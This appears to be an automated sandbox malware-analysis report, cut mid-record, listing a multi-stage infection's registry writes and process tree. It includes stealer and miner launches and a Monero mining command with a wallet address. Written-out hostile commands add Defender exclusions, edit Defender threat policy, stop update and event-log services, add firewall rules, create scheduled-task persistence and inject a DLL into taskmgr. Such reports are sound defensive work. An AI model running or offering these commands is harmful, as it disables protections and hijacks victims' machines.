| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e | C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
| Set value (data) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 | C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe | N/A |
| N/A | N/A | C:\Windows\Temp\641872.exe | N/A |
| N/A | N/A | C:\Users\Admin\Pictures\79TVunzqn8oFTxY7fbshBY63.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\Pictures\79TVunzqn8oFTxY7fbshBY63.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe
"C:\Users\Admin\AppData\Local\Temp\69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b.exe"
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2708 -s 116
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 52
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
C:\Windows\SysWOW64\sc.exe
Sc stop GameServerClient
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService remove GameServerClient confirm
C:\Windows\SysWOW64\sc.exe
Sc delete GameSyncLink
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService remove GameSyncLink confirm
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService start GameSyncLink
C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
"C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
C:\Windows\Temp\319083.exe
"C:\Windows\Temp\319083.exe" --list-devices
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe
"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3024 -s 52
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
C:\Windows\SysWOW64\sc.exe
Sc stop GameServerClientC
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService remove GameServerClientC confirm
C:\Windows\SysWOW64\sc.exe
Sc delete PiercingNetLink
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService remove PiercingNetLink confirm
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService start PiercingNetLink
C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
"C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
C:\Windows\SysWOW64\sc.exe
Sc delete GameSyncLinks
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService remove GameSyncLinks confirm
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
C:\Program Files (x86)\GameSyncLink\GameService.exe
GameService start GameSyncLinks
C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 52
C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
"C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
C:\Windows\Temp\641872.exe
"C:\Windows\Temp\641872.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe
"C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
"C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240514022840.log C:\Windows\Logs\CBS\CbsPersist_20240514022840.cab
C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
"C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe
"C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe"
C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe
"C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe"
C:\Users\Admin\Pictures\79TVunzqn8oFTxY7fbshBY63.exe
"C:\Users\Admin\Pictures\79TVunzqn8oFTxY7fbshBY63.exe" /s
C:\Users\Admin\Pictures\puBsQofSqmAXhLQoasjcQtSs.exe
"C:\Users\Admin\Pictures\puBsQofSqmAXhLQoasjcQtSs.exe"
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe
"C:\Users\Admin\Pictures\VSozrSmvvJbgNogj2HKP4yqT.exe"
C:\Users\Admin\Pictures\puBsQofSqmAXhLQoasjcQtSs.exe
"C:\Users\Admin\Pictures\puBsQofSqmAXhLQoasjcQtSs.exe"
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Users\Admin\Pictures\ZLimXO62tTyJT8FrTmQzwrb2.exe
"C:\Users\Admin\Pictures\ZLimXO62tTyJT8FrTmQzwrb2.exe"
C:\Users\Admin\Pictures\ECcWzypzPVYF0v0avsQX7zMd.exe
"C:\Users\Admin\Pictures\ECcWzypzPVYF0v0avsQX7zMd.exe"
C:\Windows\system32\taskeng.exe
taskeng.exe {0DE86AE9-8905-493D-B71E-61546EEC5325} S-1-5-21-2737914667-933161113-3798636211-1000:PUMARTNR\Admin:Interactive:[1]
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\system32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\Pictures\ZLimXO62tTyJT8FrTmQzwrb2.exe
"C:\Users\Admin\Pictures\ZLimXO62tTyJT8FrTmQzwrb2.exe"
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\Pictures\360TS_Setup.exe
"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Declan.CPI202403 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Users\Admin\Pictures\ECcWzypzPVYF0v0avsQX7zMd.exe
"C:\Users\Admin\Pictures\ECcWzypzPVYF0v0avsQX7zMd.exe"
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Program Files (x86)\1715653757_0\360TS_Setup.exe
"C:\Program Files (x86)\1715653757_0\360TS_Setup.exe" /c:WW.Declan.CPI202403 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s /TSinstall
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WSNKISKT"
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WSNKISKT"
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
C:\Windows\explorer.exe
explorer.exe
C:\Users\Admin\Pictures\0WWUVg8osQqqJdvd9rXOx3K2.exe
"C:\Users\Admin\Pictures\0WWUVg8osQqqJdvd9rXOx3K2.exe"
C:\Users\Admin\AppData\Local\Temp\7zS5080.tmp\Install.exe
.\Install.exe /tEdidDDf "385118" /S
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
